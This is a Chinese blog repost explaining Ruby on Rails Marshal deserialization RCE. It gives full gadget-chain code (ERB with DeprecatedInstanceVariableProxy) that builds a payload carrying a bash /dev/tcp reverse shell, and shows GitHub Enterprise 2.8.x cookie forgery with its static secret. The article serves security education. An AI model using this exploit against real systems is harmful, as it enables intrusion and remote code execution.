探索Ruby项目中的反序列化问题

栏目: Ruby · 发布时间: 5年前

内容简介:Ruby on Rails是一个流行的应用程序平台,它使用cookie来识别应用程序会话。 cookie由两部分组成:cookie-value和signature。每当Rails获取cookie时,它通过验证发送的cookie值的哈希/签名是否与发送的签名匹配来验证cookie是否未被篡改。用于检索内容的解组cookie通常包含三个逻辑步骤: url_decoded_cookie = CGI :: unescape(cookie_value) b64_decoded_session = Base64.dec
前言

Ruby on Rails是一个流行的应用程序平台,它使用cookie来识别应用程序会话。 cookie由两部分组成:cookie-value和signature。每当Rails获取cookie时,它通过验证发送的cookie值的哈希/签名是否与发送的签名匹配来验证cookie是否未被篡改。用于检索内容的解组cookie通常包含三个逻辑步骤: url_decoded_cookie = CGI :: unescape(cookie_value) b64_decoded_session = Base64.decode64(url_decoded_cookie) session = Marshal.load(b64_decoded_session)

在许多白盒Ruby on Rails项目的审计过程中,我们一次又一次地遇到了元组反序列化的不安全使用。虽然会话cookie反序列化是一个严重的问题,但是有一整类的解组错误可能导致远程执行代码(RCE)。所有情况都是相似的:解组cookie,一些GET-POST数据或用户会话中的任何类型的数据。例如: if(data = @cookies [:user_data])。present? user,info = Marshal.load(Base64.decode64(data))

这种调用demarshalling是使用反序列化机制的一个非常危险的例子,因为它可能直接导致任意代码执行。这是最终目标,但首先,我们需要构建在访问时运行的代码。 PoC创建 第一步是使用一些erb模板解析器,如ERB或Erubis,它在GitHub Enterprise中使用。src变量的实例可能包含纯 Ruby 代码; 因此,我们可以在此处放置有效负载,并使用将要执行的代码。 erb = ERB.allocate erb.instance_variable_set :@src, “%x();”

https://github.com/ruby/ruby/blob/trunk/lib/erb.rb#L875: 738: class ERB … 852: # Generate results and print them. (see ERB#result) 853: def run(b=new_toplevel) 854: print self.result(b) 855: end … 865: def result(b=new_toplevel) … 875: eval(@src, b, (@filename || ‘(erb)’), @lineno) 876: end 877: end

or erb = Erubis::Eruby.allocate erb.instance_variable_set :@src, “%x{};”

https://github.com/kwatch/erubis/blob/master/lib/erubis/evaluator.rb#L65: 10: module Erubis … 44: module RubyEvaluator … 52: ## eval(@src) with binding object 53: def result(_binding_or_hash=TOPLEVEL_BINDING) … 65: return eval(@src, _b, (@filename || ‘(erubis’))

查看用于执行有效负载的评估程序的源代码,我们需要在创建erb对象之后调用结果方法。我们不能直接影响执行过程; 因此,我们需要在解组过程中以某种方式强制调用结果方法。InstanceVariableProxy类可以帮助我们解决这类问题。ActiveSupport模块包含一种特殊的机制,用于标记过时的方法并对其进行更改,以使其现在可以正常工作。这叫做ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy。 简单地说,这个机制与解释者交谈:“嘿,伙计。不再支持此方法。请使用这个并运行。“ 089: class DeprecatedInstanceVariableProxy < DeprecationProxy 090: def initialize(instance, method, var = “@#{method}”, deprecator = ActiveSupport::Deprecation.instance) 091: @instance = instance 092: @method = method … 098: def target 099: @instance. send (@method) … 102: def warn(callstack, called, args) 103: @deprecator.warn(“#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}”, callstack)

因此,我们可以使用它来弃用实例变量; 运行该实例变量后,它将丢弃警告消息并调用新方法。这正是我们在这一步所需要的。 class ActiveSupport class Deprecation def initialize() @silenced = true end class DeprecatedInstanceVariableProxy def initialize(instance, method) @instance = instance @method = method @deprecator = ActiveSupport::Deprecation.new end end end end depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate depr.instance_variable_set :@instance, erb depr.instance_variable_set :@method, :result depr.instance_variable_set :@var, “@result” depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

或者 depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis, :result) 在这一步,如果我们尝试访问depr对象,我们将运行代码。 现在我们可以使用Marshal.dump序列化已完成的对象,并使用base64函数进行编码。 payload = Base64.encode64(Marshal.dump(depr)).gsub(“\n”, “”) puts payload

将所有步骤组合到源代码中 require“base64” require“erb” class ActiveSupport class Deprecation def initialize() @silenced = true end class DeprecatedInstanceVariableProxy def initialize(instance,method) @instance = instance @method = method @deprecator = ActiveSupport :: Deprecation.new end end end end erb = ERB.allocate erb.instance_variable_set:@src,“%x(bash -i>&/ dev / tcp/127.0.0.1 / 1337 0>&1);” erb.instance_variable_set:@ lineno,1337 depr = ActiveSupport :: Deprecation :: DeprecatedInstanceVariableProxy.allocate depr.instance_variable_set:@ instance,erb depr.instance_variable_set:@ method,:result depr.instance_variable_set: @ var,“ @ result ” depr.instance_variable_set:@ predecator,ActiveSupport :: Deprecation .new payload = Base64.encode64(Marshal.dump(depr))。gsub(“\ n”,“”)

加载payload 你可以在repl.it代码平台运行。 去年在GitHub Enterprise 2.8.0 < 2.8.6产品中发现了类似的错误。会话cookie标志有一个静态会话密钥,cookie本身就是Marshal对象。 /data/enterprise-manage/current/config.ru : 62: # Enable sessions 63: use Rack::Session::Cookie, 64: :key => “_gh_manage”, 65: :path => “/”, 66: :expire_after => 1800, # 30 minutes in seconds 67: :secret => ENV[“ENTERPRISE_SESSION_SECRET”] || “641dd6454584ddabfed6342cc66281fb”

首先,使用上述漏洞利用代码创建DeprecatedInstanceVariableProxy对象。 session = {“session_id” => “”, “exploit” => proxy}

之后,我们需要编组会话变量,编码和HMAC使用我们的SECRET密钥641dd6454584ddabfed6342cc66281fb签署其SHA1摘要。 dump = [Marshal.dump(session)].pack(“m”)

hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)

最后,编码有效负载并使用 - 分隔符对连接进行签名,然后将请求作为cookie头发送。 rqst[‘Cookie’] = “_gh_manage=#{CGI.escape(“#{dump} — #{hmac}”)}”

图1. 成功利用GitHub Enterprise 2.8.5 在修复了这个错误后的几个月,台湾研究员Orange Tsai发现了另一个包含像这样的反序列化漏洞的漏洞。该问题有四个链 - 通过远程SSRF到内部Graphite服务SSRF,然后到Python httplib.HTTPConnection模块内的CR-LF注入,然后从Memcache数据库对Ruby对象进行不安全的反序列化。攻击者可以存储使用相同漏洞利用生成的恶意对象,然后在从缓存Memcache中获取该对象后,Ruby gem会自动对其进行反序列化,这将导致代码执行。

图2. 成功利用GitHub Enterprise 2.8.6 成功利用后,攻击者可以使用此类错误在远程系统上运行任意代码。由于使用的广泛可能性,这样的错误导致生产中的严重问题。例如,加密矿工喜欢将这样的bug应用到他们的攻击库中以感染许多系统,以便受感染的系统可以成为僵尸网络的一部分。当然,如果易受攻击的应用程序从目标系统上的高权限用户运行,问题将变得更加严重。留意! 参考 https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles — Slides about marshalling and pickle serialization from OWASP AppSecCali 2015 by Christopher Frohoff https://gist.github.com/niklasb/df9dba3097df536820888aeb4de3284f — Rails 5.1.4 YAML unsafe deserialization RCE payload https://repl.it/@allyshka/Ruby-RCE-with-Marshalload — Ruby Marshal+Base64 RCE payload playground/generator http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html — GitHub Enterprise 2.8.0 < 2.8.6 RCE report and details https://www.exploit-db.com/exploits/41616/ — GitHub Enterprise 2.8.0 < 2.8.6 RCE exploit http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html — GitHub Enterprise 4-chained vulnerability. One of them is unsafe Marshal deserialization


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

网易一千零一夜

网易一千零一夜

网易杭研项目管理部 / 电子工业出版社 / 2016-9-1 / 46

本书是网易杭州研究院项目管理部多年来丰富的项目管理实践总结与干货分享。字字句句凝结了网易项目经理的甘与苦、汗与泪。 全书围绕项目管理体系,从敏捷实践、项目立项、需求管理、沟通管理,到计划进度管理、风险管理,真实反映了网易面向互联网产品项目管理实战经验与心路历程。 不论你是项目管理新手,还是资深项目经理,都可以从本书中获得启发与借鉴。一起来看看 《网易一千零一夜》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试